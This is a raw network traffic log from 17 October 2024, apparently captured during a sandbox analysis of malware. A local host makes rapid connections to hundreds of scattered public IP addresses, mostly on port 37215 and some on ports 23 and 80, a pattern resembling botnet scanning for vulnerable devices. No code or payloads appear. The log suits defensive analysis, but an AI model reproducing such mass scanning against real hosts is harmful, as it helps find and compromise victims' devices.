Oct 17, 2024 02:19:43.382359028 CEST	20644	37215	192.168.2.14	156.187.21.221
Oct 17, 2024 02:19:43.382370949 CEST	20644	37215	192.168.2.14	156.108.20.215
Oct 17, 2024 02:19:43.382370949 CEST	20644	37215	192.168.2.14	156.191.113.4
Oct 17, 2024 02:19:43.382375956 CEST	20644	37215	192.168.2.14	197.41.3.37
Oct 17, 2024 02:19:43.382400036 CEST	20644	37215	192.168.2.14	41.88.95.9
Oct 17, 2024 02:19:43.382401943 CEST	20644	37215	192.168.2.14	156.190.129.199
Oct 17, 2024 02:19:43.382404089 CEST	20644	37215	192.168.2.14	41.10.11.134
Oct 17, 2024 02:19:43.382409096 CEST	20644	37215	192.168.2.14	41.142.145.250
Oct 17, 2024 02:19:43.382415056 CEST	20644	37215	192.168.2.14	41.113.157.23
Oct 17, 2024 02:19:43.382415056 CEST	20644	37215	192.168.2.14	41.246.250.156
Oct 17, 2024 02:19:43.382416964 CEST	20644	37215	192.168.2.14	197.31.119.207
Oct 17, 2024 02:19:43.382420063 CEST	20644	37215	192.168.2.14	156.213.230.125
Oct 17, 2024 02:19:43.382428885 CEST	20644	37215	192.168.2.14	156.119.170.85
Oct 17, 2024 02:19:43.382433891 CEST	20644	37215	192.168.2.14	156.240.117.178
Oct 17, 2024 02:19:43.382441998 CEST	20644	37215	192.168.2.14	156.185.203.234
Oct 17, 2024 02:19:43.382455111 CEST	20644	37215	192.168.2.14	197.250.133.74
Oct 17, 2024 02:19:43.382460117 CEST	20644	37215	192.168.2.14	197.154.139.233
Oct 17, 2024 02:19:43.382460117 CEST	20644	37215	192.168.2.14	41.128.247.236
Oct 17, 2024 02:19:43.382472992 CEST	20644	37215	192.168.2.14	41.27.177.32
Oct 17, 2024 02:19:43.382481098 CEST	20644	37215	192.168.2.14	156.231.78.231
Oct 17, 2024 02:19:43.382481098 CEST	20644	37215	192.168.2.14	41.91.225.134
Oct 17, 2024 02:19:43.382499933 CEST	20644	37215	192.168.2.14	156.125.220.48
Oct 17, 2024 02:19:43.382499933 CEST	20644	37215	192.168.2.14	41.244.250.171
Oct 17, 2024 02:19:43.382512093 CEST	20644	37215	192.168.2.14	197.237.58.15
Oct 17, 2024 02:19:43.382512093 CEST	20644	37215	192.168.2.14	156.187.151.2
Oct 17, 2024 02:19:43.382519960 CEST	20644	37215	192.168.2.14	197.217.48.58
Oct 17, 2024 02:19:43.382536888 CEST	20644	37215	192.168.2.14	156.101.36.211
Oct 17, 2024 02:19:43.382540941 CEST	20644	37215	192.168.2.14	156.46.253.103
Oct 17, 2024 02:19:43.382543087 CEST	20644	37215	192.168.2.14	156.224.116.100
Oct 17, 2024 02:19:43.382550001 CEST	20644	37215	192.168.2.14	41.207.2.76
Oct 17, 2024 02:19:43.382559061 CEST	20644	37215	192.168.2.14	197.189.239.137
Oct 17, 2024 02:19:43.382559061 CEST	20644	37215	192.168.2.14	156.236.120.225
Oct 17, 2024 02:19:43.382559061 CEST	20644	37215	192.168.2.14	156.97.122.129
Oct 17, 2024 02:19:43.382582903 CEST	20644	37215	192.168.2.14	156.38.168.242
Oct 17, 2024 02:19:43.382585049 CEST	20644	37215	192.168.2.14	156.156.75.247
Oct 17, 2024 02:19:43.382587910 CEST	20644	37215	192.168.2.14	41.136.194.187
Oct 17, 2024 02:19:43.382601023 CEST	20644	37215	192.168.2.14	41.157.216.202
Oct 17, 2024 02:19:43.382610083 CEST	20644	37215	192.168.2.14	156.144.46.95
Oct 17, 2024 02:19:43.382611036 CEST	20644	37215	192.168.2.14	156.205.47.0
Oct 17, 2024 02:19:43.382613897 CEST	20644	37215	192.168.2.14	41.226.197.152
Oct 17, 2024 02:19:43.382617950 CEST	20644	37215	192.168.2.14	197.177.157.143
Oct 17, 2024 02:19:43.382811069 CEST	37682	37215	192.168.2.14	197.8.130.27
Oct 17, 2024 02:19:43.382836103 CEST	20644	37215	192.168.2.14	156.222.176.88
Oct 17, 2024 02:19:43.382972956 CEST	37682	37215	192.168.2.14	197.8.130.27
Oct 17, 2024 02:19:43.385060072 CEST	38682	37215	192.168.2.14	197.8.130.27
Oct 17, 2024 02:19:43.387141943 CEST	53766	37215	192.168.2.14	156.245.159.165
Oct 17, 2024 02:19:43.387161016 CEST	53766	37215	192.168.2.14	156.245.159.165
Oct 17, 2024 02:19:43.388519049 CEST	54756	37215	192.168.2.14	156.245.159.165
Oct 17, 2024 02:19:43.390641928 CEST	51388	37215	192.168.2.14	197.227.122.154
Oct 17, 2024 02:19:43.390670061 CEST	51388	37215	192.168.2.14	197.227.122.154
Oct 17, 2024 02:19:43.391772985 CEST	59064	80	192.168.2.14	198.90.180.54
Oct 17, 2024 02:19:43.392137051 CEST	52368	37215	192.168.2.14	197.227.122.154
Oct 17, 2024 02:19:43.394047976 CEST	58860	37215	192.168.2.14	197.226.27.20
Oct 17, 2024 02:19:43.394105911 CEST	58860	37215	192.168.2.14	197.226.27.20
Oct 17, 2024 02:19:43.395505905 CEST	59836	37215	192.168.2.14	197.226.27.20
Oct 17, 2024 02:19:43.395772934 CEST	49298	23	192.168.2.14	86.204.191.194
Oct 17, 2024 02:19:43.395782948 CEST	37610	80	192.168.2.14	216.162.115.8
Oct 17, 2024 02:19:43.395790100 CEST	55316	37215	192.168.2.14	197.233.230.231
Oct 17, 2024 02:19:43.395792961 CEST	51882	80	192.168.2.14	39.144.2.241
Oct 17, 2024 02:19:43.395807028 CEST	50624	80	192.168.2.14	180.83.57.162
Oct 17, 2024 02:19:43.395809889 CEST	45614	80	192.168.2.14	5.71.231.134
Oct 17, 2024 02:19:43.395809889 CEST	56562	37215	192.168.2.14	156.201.190.43
Oct 17, 2024 02:19:43.395823002 CEST	36264	80	192.168.2.14	175.89.36.136
Oct 17, 2024 02:19:43.395823002 CEST	37684	37215	192.168.2.14	41.238.65.178
Oct 17, 2024 02:19:43.395838976 CEST	35832	37215	192.168.2.14	41.102.203.154
Oct 17, 2024 02:19:43.395839930 CEST	38896	37215	192.168.2.14	41.125.31.107
Oct 17, 2024 02:19:43.397813082 CEST	37498	37215	192.168.2.14	156.110.225.254
Oct 17, 2024 02:19:43.397813082 CEST	37498	37215	192.168.2.14	156.110.225.254
Oct 17, 2024 02:19:43.399888039 CEST	38470	37215	192.168.2.14	156.110.225.254
Oct 17, 2024 02:19:43.402172089 CEST	56690	37215	192.168.2.14	156.174.124.75
Oct 17, 2024 02:19:43.402172089 CEST	56690	37215	192.168.2.14	156.174.124.75
Oct 17, 2024 02:19:43.403794050 CEST	37682	37215	192.168.2.14	197.8.130.27
Oct 17, 2024 02:19:43.403990984 CEST	57658	37215	192.168.2.14	156.174.124.75
Oct 17, 2024 02:19:43.406151056 CEST	55716	37215	192.168.2.14	41.24.74.237
Oct 17, 2024 02:19:43.406151056 CEST	55716	37215	192.168.2.14	41.24.74.237
Oct 17, 2024 02:19:43.407613039 CEST	56680	37215	192.168.2.14	41.24.74.237
Oct 17, 2024 02:19:43.407777071 CEST	53766	37215	192.168.2.14	156.245.159.165
Oct 17, 2024 02:19:43.409265041 CEST	45386	37215	192.168.2.14	197.185.101.11
Oct 17, 2024 02:19:43.409265041 CEST	45386	37215	192.168.2.14	197.185.101.11
Oct 17, 2024 02:19:43.410605907 CEST	46346	37215	192.168.2.14	197.185.101.11
Oct 17, 2024 02:19:43.411776066 CEST	51388	37215	192.168.2.14	197.227.122.154
Oct 17, 2024 02:19:43.412849903 CEST	36726	37215	192.168.2.14	197.94.217.178
Oct 17, 2024 02:19:43.412849903 CEST	36726	37215	192.168.2.14	197.94.217.178
Oct 17, 2024 02:19:43.413816929 CEST	37682	37215	192.168.2.14	197.94.217.178
Oct 17, 2024 02:19:43.415370941 CEST	45456	37215	192.168.2.14	41.96.201.111
Oct 17, 2024 02:19:43.415370941 CEST	45456	37215	192.168.2.14	41.96.201.111
Oct 17, 2024 02:19:43.415782928 CEST	58860	37215	192.168.2.14	197.226.27.20
Oct 17, 2024 02:19:43.416584015 CEST	46408	37215	192.168.2.14	41.96.201.111
Oct 17, 2024 02:19:43.418066025 CEST	42374	37215	192.168.2.14	41.37.238.162
Oct 17, 2024 02:19:43.418083906 CEST	42374	37215	192.168.2.14	41.37.238.162
Oct 17, 2024 02:19:43.419644117 CEST	43322	37215	192.168.2.14	41.37.238.162
Oct 17, 2024 02:19:43.419775963 CEST	37498	37215	192.168.2.14	156.110.225.254
Oct 17, 2024 02:19:43.421055079 CEST	36896	37215	192.168.2.14	156.42.148.140
Oct 17, 2024 02:19:43.421055079 CEST	36896	37215	192.168.2.14	156.42.148.140
Oct 17, 2024 02:19:43.422192097 CEST	37834	37215	192.168.2.14	156.42.148.140
Oct 17, 2024 02:19:43.423770905 CEST	56690	37215	192.168.2.14	156.174.124.75
Oct 17, 2024 02:19:43.423969984 CEST	35076	37215	192.168.2.14	197.130.159.152
Oct 17, 2024 02:19:43.423969984 CEST	35076	37215	192.168.2.14	197.130.159.152
Oct 17, 2024 02:19:43.425139904 CEST	35938	37215	192.168.2.14	197.130.159.152
Oct 17, 2024 02:19:43.427299023 CEST	58904	37215	192.168.2.14	197.182.193.48
Oct 17, 2024 02:19:43.427299023 CEST	58904	37215	192.168.2.14	197.182.193.48
Oct 17, 2024 02:19:43.427771091 CEST	47928	80	192.168.2.14	59.213.205.136
Oct 17, 2024 02:19:43.427772999 CEST	48820	23	192.168.2.14	160.21.205.152
Oct 17, 2024 02:19:43.427772999 CEST	55716	37215	192.168.2.14	41.24.74.237
Oct 17, 2024 02:19:43.427778006 CEST	48318	80	192.168.2.14	93.69.149.217
Oct 17, 2024 02:19:43.427778959 CEST	53354	23	192.168.2.14	96.190.151.176
Oct 17, 2024 02:19:43.428106070 CEST	59762	37215	192.168.2.14	197.182.193.48
Oct 17, 2024 02:19:43.430067062 CEST	50872	37215	192.168.2.14	41.146.94.96
Oct 17, 2024 02:19:43.430067062 CEST	50872	37215	192.168.2.14	41.146.94.96
Oct 17, 2024 02:19:43.431483984 CEST	51726	37215	192.168.2.14	41.146.94.96
Oct 17, 2024 02:19:43.431768894 CEST	45386	37215	192.168.2.14	197.185.101.11
Oct 17, 2024 02:19:43.433060884 CEST	34862	37215	192.168.2.14	156.158.100.93
Oct 17, 2024 02:19:43.433060884 CEST	34862	37215	192.168.2.14	156.158.100.93
Oct 17, 2024 02:19:43.434196949 CEST	35708	37215	192.168.2.14	156.158.100.93
Oct 17, 2024 02:19:43.435775042 CEST	45456	37215	192.168.2.14	41.96.201.111
Oct 17, 2024 02:19:43.435779095 CEST	36726	37215	192.168.2.14	197.94.217.178
Oct 17, 2024 02:19:43.435950041 CEST	50758	37215	192.168.2.14	197.153.89.197
Oct 17, 2024 02:19:43.435950041 CEST	50758	37215	192.168.2.14	197.153.89.197
Oct 17, 2024 02:19:43.437910080 CEST	51582	37215	192.168.2.14	197.153.89.197
Oct 17, 2024 02:19:43.439672947 CEST	57766	37215	192.168.2.14	156.228.182.173
Oct 17, 2024 02:19:43.439672947 CEST	57766	37215	192.168.2.14	156.228.182.173
Oct 17, 2024 02:19:43.439775944 CEST	42374	37215	192.168.2.14	41.37.238.162
Oct 17, 2024 02:19:43.440632105 CEST	58580	37215	192.168.2.14	156.228.182.173
Oct 17, 2024 02:19:43.442830086 CEST	58144	37215	192.168.2.14	197.216.228.207
Oct 17, 2024 02:19:43.442830086 CEST	58144	37215	192.168.2.14	197.216.228.207
Oct 17, 2024 02:19:43.443859100 CEST	36896	37215	192.168.2.14	156.42.148.140
Oct 17, 2024 02:19:43.444546938 CEST	58950	37215	192.168.2.14	197.216.228.207
Oct 17, 2024 02:19:43.446685076 CEST	42258	37215	192.168.2.14	156.243.178.7
Oct 17, 2024 02:19:43.446685076 CEST	42258	37215	192.168.2.14	156.243.178.7
Oct 17, 2024 02:19:43.447549105 CEST	43054	37215	192.168.2.14	156.243.178.7
Oct 17, 2024 02:19:43.447777987 CEST	58904	37215	192.168.2.14	197.182.193.48
Oct 17, 2024 02:19:43.447942972 CEST	35076	37215	192.168.2.14	197.130.159.152
Oct 17, 2024 02:19:43.449165106 CEST	33444	37215	192.168.2.14	197.151.100.246
Oct 17, 2024 02:19:43.449165106 CEST	33444	37215	192.168.2.14	197.151.100.246
Oct 17, 2024 02:19:43.450604916 CEST	34230	37215	192.168.2.14	197.151.100.246
Oct 17, 2024 02:19:43.451788902 CEST	50872	37215	192.168.2.14	41.146.94.96
Oct 17, 2024 02:19:43.452577114 CEST	38798	37215	192.168.2.14	41.23.92.152
Oct 17, 2024 02:19:43.452577114 CEST	38798	37215	192.168.2.14	41.23.92.152
Oct 17, 2024 02:19:43.453376055 CEST	39574	37215	192.168.2.14	41.23.92.152
Oct 17, 2024 02:19:43.455769062 CEST	34862	37215	192.168.2.14	156.158.100.93
Oct 17, 2024 02:19:43.456669092 CEST	56320	37215	192.168.2.14	197.108.80.199
Oct 17, 2024 02:19:43.456669092 CEST	56320	37215	192.168.2.14	197.108.80.199
Oct 17, 2024 02:19:43.459534883 CEST	57070	37215	192.168.2.14	197.108.80.199
Oct 17, 2024 02:19:43.459772110 CEST	54742	80	192.168.2.14	45.21.149.219
Oct 17, 2024 02:19:43.459774971 CEST	38910	80	192.168.2.14	47.123.240.67
Oct 17, 2024 02:19:43.459775925 CEST	43646	23	192.168.2.14	156.162.252.0
Oct 17, 2024 02:19:43.459778070 CEST	60300	80	192.168.2.14	162.59.53.132
Oct 17, 2024 02:19:43.459775925 CEST	33350	37215	192.168.2.14	156.224.61.59
Oct 17, 2024 02:19:43.459786892 CEST	46840	37215	192.168.2.14	156.210.142.196
Oct 17, 2024 02:19:43.459791899 CEST	41098	37215	192.168.2.14	156.130.38.80
Oct 17, 2024 02:19:43.459793091 CEST	60824	80	192.168.2.14	172.48.127.151
Oct 17, 2024 02:19:43.459795952 CEST	57766	37215	192.168.2.14	156.228.182.173
Oct 17, 2024 02:19:43.459798098 CEST	54436	23	192.168.2.14	88.162.169.225
Oct 17, 2024 02:19:43.459798098 CEST	49442	80	192.168.2.14	54.190.28.113
Oct 17, 2024 02:19:43.459800005 CEST	50758	37215	192.168.2.14	197.153.89.197
Oct 17, 2024 02:19:43.462014914 CEST	57408	37215	192.168.2.14	197.167.213.135
Oct 17, 2024 02:19:43.462014914 CEST	57408	37215	192.168.2.14	197.167.213.135
Oct 17, 2024 02:19:43.463799000 CEST	58144	37215	192.168.2.14	197.216.228.207
Oct 17, 2024 02:19:43.463848114 CEST	58154	37215	192.168.2.14	197.167.213.135
Oct 17, 2024 02:19:43.465591908 CEST	58236	37215	192.168.2.14	41.249.70.37
Oct 17, 2024 02:19:43.465591908 CEST	58236	37215	192.168.2.14	41.249.70.37
Oct 17, 2024 02:19:43.467391968 CEST	58960	37215	192.168.2.14	41.249.70.37
Oct 17, 2024 02:19:43.467768908 CEST	42258	37215	192.168.2.14	156.243.178.7
Oct 17, 2024 02:19:43.468954086 CEST	53530	37215	192.168.2.14	197.233.34.205
Oct 17, 2024 02:19:43.468954086 CEST	53530	37215	192.168.2.14	197.233.34.205
Oct 17, 2024 02:19:43.470004082 CEST	54240	37215	192.168.2.14	197.233.34.205
Oct 17, 2024 02:19:43.471805096 CEST	33444	37215	192.168.2.14	197.151.100.246
Oct 17, 2024 02:19:43.472127914 CEST	54330	37215	192.168.2.14	156.222.139.12
Oct 17, 2024 02:19:43.472127914 CEST	54330	37215	192.168.2.14	156.222.139.12
Oct 17, 2024 02:19:43.473269939 CEST	55002	37215	192.168.2.14	156.222.139.12
Oct 17, 2024 02:19:43.475344896 CEST	51026	37215	192.168.2.14	156.148.175.0
Oct 17, 2024 02:19:43.475344896 CEST	51026	37215	192.168.2.14	156.148.175.0
Oct 17, 2024 02:19:43.475766897 CEST	38798	37215	192.168.2.14	41.23.92.152
Oct 17, 2024 02:19:43.476761103 CEST	51688	37215	192.168.2.14	156.148.175.0
Oct 17, 2024 02:19:43.478552103 CEST	51174	37215	192.168.2.14	156.81.108.1
Oct 17, 2024 02:19:43.478552103 CEST	51174	37215	192.168.2.14	156.81.108.1
Oct 17, 2024 02:19:43.479773045 CEST	56320	37215	192.168.2.14	197.108.80.199
Oct 17, 2024 02:19:43.479836941 CEST	51804	37215	192.168.2.14	156.81.108.1
Oct 17, 2024 02:19:43.481307983 CEST	59176	37215	192.168.2.14	41.240.174.103
Oct 17, 2024 02:19:43.481307983 CEST	59176	37215	192.168.2.14	41.240.174.103
Oct 17, 2024 02:19:43.482223988 CEST	59744	37215	192.168.2.14	41.240.174.103
Oct 17, 2024 02:19:43.483751059 CEST	54646	37215	192.168.2.14	156.35.219.54
Oct 17, 2024 02:19:43.483774900 CEST	57408	37215	192.168.2.14	197.167.213.135
Oct 17, 2024 02:19:43.483795881 CEST	54646	37215	192.168.2.14	156.35.219.54
Oct 17, 2024 02:19:43.485053062 CEST	55194	37215	192.168.2.14	156.35.219.54
Oct 17, 2024 02:19:43.486500025 CEST	47832	37215	192.168.2.14	156.187.4.61
Oct 17, 2024 02:19:43.486500025 CEST	47832	37215	192.168.2.14	156.187.4.61
Oct 17, 2024 02:19:43.487353086 CEST	48318	37215	192.168.2.14	156.187.4.61
Oct 17, 2024 02:19:43.487766027 CEST	58236	37215	192.168.2.14	41.249.70.37
Oct 17, 2024 02:19:43.488833904 CEST	41126	37215	192.168.2.14	197.137.107.247
Oct 17, 2024 02:19:43.488852024 CEST	41126	37215	192.168.2.14	197.137.107.247
Oct 17, 2024 02:19:43.490115881 CEST	41592	37215	192.168.2.14	197.137.107.247
Oct 17, 2024 02:19:43.491396904 CEST	34770	37215	192.168.2.14	41.70.217.138
Oct 17, 2024 02:19:43.491416931 CEST	34770	37215	192.168.2.14	41.70.217.138
Oct 17, 2024 02:19:43.491767883 CEST	34882	80	192.168.2.14	96.126.207.202
Oct 17, 2024 02:19:43.491767883 CEST	38112	80	192.168.2.14	200.69.221.58
Oct 17, 2024 02:19:43.491770029 CEST	46518	23	192.168.2.14	77.32.42.70
Oct 17, 2024 02:19:43.491770029 CEST	52748	37215	192.168.2.14	197.111.176.34
Oct 17, 2024 02:19:43.491774082 CEST	51418	80	192.168.2.14	184.113.130.61
Oct 17, 2024 02:19:43.491774082 CEST	52628	23	192.168.2.14	43.118.115.1
Oct 17, 2024 02:19:43.491774082 CEST	60822	80	192.168.2.14	43.226.11.224
Oct 17, 2024 02:19:43.491779089 CEST	54214	80	192.168.2.14	180.39.30.52
Oct 17, 2024 02:19:43.491779089 CEST	46770	37215	192.168.2.14	197.36.206.50
Oct 17, 2024 02:19:43.491786957 CEST	59534	37215	192.168.2.14	41.23.33.34
Oct 17, 2024 02:19:43.491790056 CEST	56584	23	192.168.2.14	152.23.242.18
Oct 17, 2024 02:19:43.491790056 CEST	36012	23	192.168.2.14	39.86.191.110
Oct 17, 2024 02:19:43.491792917 CEST	34910	23	192.168.2.14	39.104.152.36
Oct 17, 2024 02:19:43.491792917 CEST	53530	37215	192.168.2.14	197.233.34.205
Oct 17, 2024 02:19:43.491806030 CEST	46682	80	192.168.2.14	24.159.2.208
Oct 17, 2024 02:19:43.492460012 CEST	35172	37215	192.168.2.14	41.70.217.138
Oct 17, 2024 02:19:43.493700027 CEST	47740	37215	192.168.2.14	41.233.212.51
Oct 17, 2024 02:19:43.493700027 CEST	47740	37215	192.168.2.14	41.233.212.51
Oct 17, 2024 02:19:43.495233059 CEST	48092	37215	192.168.2.14	41.233.212.51
Oct 17, 2024 02:19:43.495765924 CEST	51026	37215	192.168.2.14	156.148.175.0
Oct 17, 2024 02:19:43.495786905 CEST	54330	37215	192.168.2.14	156.222.139.12
Oct 17, 2024 02:19:43.496649981 CEST	52128	37215	192.168.2.14	156.107.220.177
Oct 17, 2024 02:19:43.496649981 CEST	52128	37215	192.168.2.14	156.107.220.177
Oct 17, 2024 02:19:43.497670889 CEST	52450	37215	192.168.2.14	156.107.220.177
Oct 17, 2024 02:19:43.498893976 CEST	43276	37215	192.168.2.14	197.251.236.170
Oct 17, 2024 02:19:43.498970985 CEST	43276	37215	192.168.2.14	197.251.236.170
Oct 17, 2024 02:19:43.499769926 CEST	53526	80	192.168.2.14	175.135.73.178
Oct 17, 2024 02:19:43.499773979 CEST	51174	37215	192.168.2.14	156.81.108.1
Oct 17, 2024 02:19:43.499982119 CEST	43584	37215	192.168.2.14	197.251.236.170
Oct 17, 2024 02:19:43.501559019 CEST	56800	37215	192.168.2.14	41.252.236.8
Oct 17, 2024 02:19:43.501559019 CEST	56800	37215	192.168.2.14	41.252.236.8
Oct 17, 2024 02:19:43.502516985 CEST	57072	37215	192.168.2.14	41.252.236.8
Oct 17, 2024 02:19:43.503768921 CEST	59176	37215	192.168.2.14	41.240.174.103
Oct 17, 2024 02:19:43.503931999 CEST	54266	37215	192.168.2.14	41.4.146.210
Oct 17, 2024 02:19:43.503956079 CEST	54266	37215	192.168.2.14	41.4.146.210
Oct 17, 2024 02:19:43.505316973 CEST	54524	37215	192.168.2.14	41.4.146.210
Oct 17, 2024 02:19:43.506834984 CEST	40760	37215	192.168.2.14	156.215.137.184
Oct 17, 2024 02:19:43.506834984 CEST	40760	37215	192.168.2.14	156.215.137.184
Oct 17, 2024 02:19:43.507674932 CEST	41008	37215	192.168.2.14	156.215.137.184
Oct 17, 2024 02:19:43.507771969 CEST	47832	37215	192.168.2.14	156.187.4.61
Oct 17, 2024 02:19:43.507781029 CEST	54646	37215	192.168.2.14	156.35.219.54
Oct 17, 2024 02:19:43.509507895 CEST	51690	37215	192.168.2.14	156.36.78.206
Oct 17, 2024 02:19:43.509507895 CEST	51690	37215	192.168.2.14	156.36.78.206
Oct 17, 2024 02:19:43.510902882 CEST	51920	37215	192.168.2.14	156.36.78.206
Oct 17, 2024 02:19:43.511770010 CEST	34770	37215	192.168.2.14	41.70.217.138
Oct 17, 2024 02:19:43.511775017 CEST	41126	37215	192.168.2.14	197.137.107.247
Oct 17, 2024 02:19:43.512592077 CEST	48420	37215	192.168.2.14	41.108.18.107
Oct 17, 2024 02:19:43.512592077 CEST	48420	37215	192.168.2.14	41.108.18.107
Oct 17, 2024 02:19:43.513489962 CEST	48638	37215	192.168.2.14	41.108.18.107
Oct 17, 2024 02:19:43.514971972 CEST	34518	37215	192.168.2.14	197.78.47.248
Oct 17, 2024 02:19:43.514971972 CEST	34518	37215	192.168.2.14	197.78.47.248
Oct 17, 2024 02:19:43.515788078 CEST	47740	37215	192.168.2.14	41.233.212.51
Oct 17, 2024 02:19:43.516134977 CEST	34730	37215	192.168.2.14	197.78.47.248
Oct 17, 2024 02:19:43.517966032 CEST	51458	37215	192.168.2.14	41.140.60.225
Oct 17, 2024 02:19:43.517966032 CEST	51458	37215	192.168.2.14	41.140.60.225
Oct 17, 2024 02:19:43.519005060 CEST	51656	37215	192.168.2.14	41.140.60.225
Oct 17, 2024 02:19:43.519777060 CEST	43276	37215	192.168.2.14	197.251.236.170
Oct 17, 2024 02:19:43.519790888 CEST	52128	37215	192.168.2.14	156.107.220.177
Oct 17, 2024 02:19:43.520499945 CEST	51250	37215	192.168.2.14	41.33.227.235
Oct 17, 2024 02:19:43.520499945 CEST	51250	37215	192.168.2.14	41.33.227.235
Oct 17, 2024 02:19:43.521841049 CEST	51442	37215	192.168.2.14	41.33.227.235
Oct 17, 2024 02:19:43.523771048 CEST	60792	80	192.168.2.14	220.222.96.189
Oct 17, 2024 02:19:43.523772955 CEST	52382	23	192.168.2.14	54.38.223.158
Oct 17, 2024 02:19:43.523782015 CEST	59508	80	192.168.2.14	162.0.128.111
Oct 17, 2024 02:19:43.523782015 CEST	33718	23	192.168.2.14	13.197.228.153
Oct 17, 2024 02:19:43.523782969 CEST	48666	37215	192.168.2.14	41.70.159.187
Oct 17, 2024 02:19:43.523782969 CEST	37874	23	192.168.2.14	19.16.222.129
Oct 17, 2024 02:19:43.523782969 CEST	42080	37215	192.168.2.14	41.158.128.192
Oct 17, 2024 02:19:43.523785114 CEST	34840	80	192.168.2.14	139.119.78.74
Oct 17, 2024 02:19:43.523785114 CEST	55210	23	192.168.2.14	163.101.36.245
Oct 17, 2024 02:19:43.523785114 CEST	42292	23	192.168.2.14	134.102.57.40
Oct 17, 2024 02:19:43.523787022 CEST	43888	80	192.168.2.14	137.55.111.123
Oct 17, 2024 02:19:43.523799896 CEST	55930	37215	192.168.2.14	156.69.8.0
Oct 17, 2024 02:19:43.523799896 CEST	56800	37215	192.168.2.14	41.252.236.8
Oct 17, 2024 02:19:43.523804903 CEST	35870	80	192.168.2.14	128.7.12.180
Oct 17, 2024 02:19:43.523806095 CEST	60328	80	192.168.2.14	130.169.41.233
Oct 17, 2024 02:19:43.523883104 CEST	50940	23	192.168.2.14	13.168.222.14
Oct 17, 2024 02:19:43.523977041 CEST	50110	37215	192.168.2.14	197.167.89.226
Oct 17, 2024 02:19:43.523977041 CEST	50110	37215	192.168.2.14	197.167.89.226
Oct 17, 2024 02:19:43.524862051 CEST	50292	37215	192.168.2.14	197.167.89.226
Oct 17, 2024 02:19:43.526885033 CEST	42090	37215	192.168.2.14	41.59.142.173
Oct 17, 2024 02:19:43.526885033 CEST	42090	37215	192.168.2.14	41.59.142.173
Oct 17, 2024 02:19:43.527771950 CEST	40760	37215	192.168.2.14	156.215.137.184
Oct 17, 2024 02:19:43.527779102 CEST	54266	37215	192.168.2.14	41.4.146.210
Oct 17, 2024 02:19:43.528275967 CEST	42266	37215	192.168.2.14	41.59.142.173
Oct 17, 2024 02:19:43.529925108 CEST	46164	37215	192.168.2.14	156.136.27.184
Oct 17, 2024 02:19:43.529925108 CEST	46164	37215	192.168.2.14	156.136.27.184
Oct 17, 2024 02:19:43.530745983 CEST	46330	37215	192.168.2.14	156.136.27.184
Oct 17, 2024 02:19:43.531778097 CEST	51690	37215	192.168.2.14	156.36.78.206
Oct 17, 2024 02:19:43.532293081 CEST	60010	37215	192.168.2.14	156.196.4.63
Oct 17, 2024 02:19:43.532293081 CEST	60010	37215	192.168.2.14	156.196.4.63
Oct 17, 2024 02:19:43.534363031 CEST	60162	37215	192.168.2.14	156.196.4.63
Oct 17, 2024 02:19:43.535768032 CEST	34518	37215	192.168.2.14	197.78.47.248
Oct 17, 2024 02:19:43.535798073 CEST	48420	37215	192.168.2.14	41.108.18.107
Oct 17, 2024 02:19:43.535911083 CEST	57582	37215	192.168.2.14	197.111.212.103
Oct 17, 2024 02:19:43.535911083 CEST	57582	37215	192.168.2.14	197.111.212.103
Oct 17, 2024 02:19:43.536997080 CEST	57716	37215	192.168.2.14	197.111.212.103
Oct 17, 2024 02:19:43.537075043 CEST	80	53526	175.135.73.178	192.168.2.14
Oct 17, 2024 02:19:43.537264109 CEST	80	55348	196.201.9.128	192.168.2.14
Oct 17, 2024 02:19:43.537276030 CEST	23	60224	38.76.53.229	192.168.2.14
Oct 17, 2024 02:19:43.537358999 CEST	55348	80	192.168.2.14	196.201.9.128
Oct 17, 2024 02:19:43.537455082 CEST	60224	23	192.168.2.14	38.76.53.229
Oct 17, 2024 02:19:43.538342953 CEST	23	40528	164.55.11.160	192.168.2.14
Oct 17, 2024 02:19:43.538356066 CEST	23	40200	94.45.60.43	192.168.2.14
Oct 17, 2024 02:19:43.538367033 CEST	80	59294	183.101.116.38	192.168.2.14
Oct 17, 2024 02:19:43.538378954 CEST	37215	52572	197.130.19.23	192.168.2.14
Oct 17, 2024 02:19:43.538389921 CEST	80	48364	174.27.117.70	192.168.2.14
Oct 17, 2024 02:19:43.538393021 CEST	40528	23	192.168.2.14	164.55.11.160
Oct 17, 2024 02:19:43.538409948 CEST	80	49298	174.27.117.70	192.168.2.14
Oct 17, 2024 02:19:43.538418055 CEST	80	43248	173.138.120.251	192.168.2.14
Oct 17, 2024 02:19:43.538422108 CEST	80	51180	17.54.164.225	192.168.2.14
Oct 17, 2024 02:19:43.538422108 CEST	59294	80	192.168.2.14	183.101.116.38
Oct 17, 2024 02:19:43.538423061 CEST	40200	23	192.168.2.14	94.45.60.43
Oct 17, 2024 02:19:43.538422108 CEST	52572	37215	192.168.2.14	197.130.19.23
Oct 17, 2024 02:19:43.538434029 CEST	80	51198	17.54.164.225	192.168.2.14
Oct 17, 2024 02:19:43.538444996 CEST	23	42906	8.130.124.168	192.168.2.14
Oct 17, 2024 02:19:43.538455009 CEST	49298	80	192.168.2.14	174.27.117.70
Oct 17, 2024 02:19:43.538470984 CEST	51198	80	192.168.2.14	17.54.164.225
Oct 17, 2024 02:19:43.538474083 CEST	42906	23	192.168.2.14	8.130.124.168
Oct 17, 2024 02:19:43.538500071 CEST	80	59064	198.90.180.54	192.168.2.14
Oct 17, 2024 02:19:43.538589001 CEST	49298	80	192.168.2.14	174.27.117.70
Oct 17, 2024 02:19:43.538681030 CEST	51198	80	192.168.2.14	17.54.164.225
Oct 17, 2024 02:19:43.538770914 CEST	80	48364	174.27.117.70	192.168.2.14
Oct 17, 2024 02:19:43.538775921 CEST	59294	80	192.168.2.14	183.101.116.38
Oct 17, 2024 02:19:43.538775921 CEST	59294	80	192.168.2.14	183.101.116.38
Oct 17, 2024 02:19:43.538781881 CEST	80	43248	173.138.120.251	192.168.2.14
Oct 17, 2024 02:19:43.538794041 CEST	80	51180	17.54.164.225	192.168.2.14
Oct 17, 2024 02:19:43.538805008 CEST	37215	20644	41.237.37.106	192.168.2.14
Oct 17, 2024 02:19:43.538817883 CEST	37215	37682	197.8.130.27	192.168.2.14
Oct 17, 2024 02:19:43.538851023 CEST	20644	37215	192.168.2.14	41.237.37.106
Oct 17, 2024 02:19:43.538880110 CEST	37215	53766	156.245.159.165	192.168.2.14
Oct 17, 2024 02:19:43.538923025 CEST	60532	23	192.168.2.14	38.76.53.229
Oct 17, 2024 02:19:43.539000988 CEST	37215	54756	156.245.159.165	192.168.2.14
